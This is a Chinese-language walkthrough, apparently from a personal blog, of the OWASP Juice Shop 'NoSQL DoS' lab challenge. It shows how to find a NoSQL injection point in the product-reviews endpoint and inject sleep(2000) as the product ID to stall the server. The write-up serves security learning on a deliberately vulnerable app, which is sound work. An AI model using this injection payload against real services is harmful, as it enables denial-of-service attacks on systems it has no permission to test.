【juice-shop】★★★★ NoSQL DoS:通过 NoSQL 注入让服务器休眠

通过分析商品评论接口,发现 NoSQL 注入漏洞,利用 sleep() 函数让服务器休眠,完成拒绝服务攻击挑战。

【juice-shop】★★★★ NoSQL DoS:通过 NoSQL 注入让服务器休眠

0x01 任务简报

🎯 挑战目标
让服务器休眠一段时间。(它为您做了足够多的艰苦工作)
💡 官方提示 (Hints)
1. 这个挑战本质上是一种简化的拒绝服务(DoS)攻击。
2. 如架构概述所述,OWASP Juice Shop 使用 MongoDB 的衍生版本作为其 NoSQL 数据库。
3. 将此挑战归类为 NoSQL 注入类别,完全暴露了预期的攻击途径。尝试其他方法都无法解决该挑战,即使可能产生相同结果。
4. 尤其需要注意的是,向应用程序发送海量请求并不能解决这个问题。这很可能只会导致服务器实例崩溃。

0x02 前置知识

NoSQL 注入 vs SQL 注入

特性 SQL 注入 NoSQL 注入
目标数据库 MySQL、SQLite 等 MongoDB、CouchDB 等
注入语法 SQL 语句 JavaScript 表达式
常见函数 SLEEP()BENCHMARK() sleep()Date.now()
注释符 --# ///* */

MongoDB 的 sleep() 函数

MongoDB 支持在查询中执行 JavaScript 代码,其中 sleep() 函数可以让数据库暂停执行:

1
2
// 让 MongoDB 休眠 2000 毫秒(2 秒)
sleep(2000)

危险性:

  • 攻击者可以通过注入 sleep() 让服务器无响应
  • 大量并发的 sleep 请求会导致服务器资源耗尽
  • 这是一种简化版的拒绝服务(DoS)攻击

0x03 实战:复现漏洞

步骤1:发现注入点

使用 Burp Suite 抓包,打开应用首页并访问任意商品详情页面,在 HTTP 历史记录中找到商品评论接口:

1
2
GET /rest/products/1/reviews HTTP/1.1
Host: 127.0.0.1:3000

关键发现: URL 中的数字 1 是商品 ID,这是一个潜在的注入点。

将该请求发送到 Burp Suite Repeater。

发现注入点

步骤2:测试注入点

测试1:输入极高数值

1
GET /rest/products/99999999/reviews

结果: 返回空数组,状态码 200 ✅

测试2:输入单引号

1
GET /rest/products/'/reviews

结果: 返回错误,状态码 500 ❌

测试3:输入双引号

1
GET /rest/products/"/reviews

结果: 返回错误,状态码 500 ❌

注入测试

结论: 该接口存在 NoSQL 注入漏洞,用户输入被直接拼接到数据库查询中。

步骤3:构造 sleep() Payload

根据题目要求,将商品 ID 替换为 sleep(2000) 函数:

1
2
GET /rest/products/sleep(2000)/reviews HTTP/1.1
Host: 127.0.0.1:3000

发送请求:

sleep 注入

结果:

  • 服务器延迟 2000 毫秒(2 秒)后才返回响应
  • 挑战完成!🎉

参考

使用 Hugo 构建
主题 StackJimmy 设计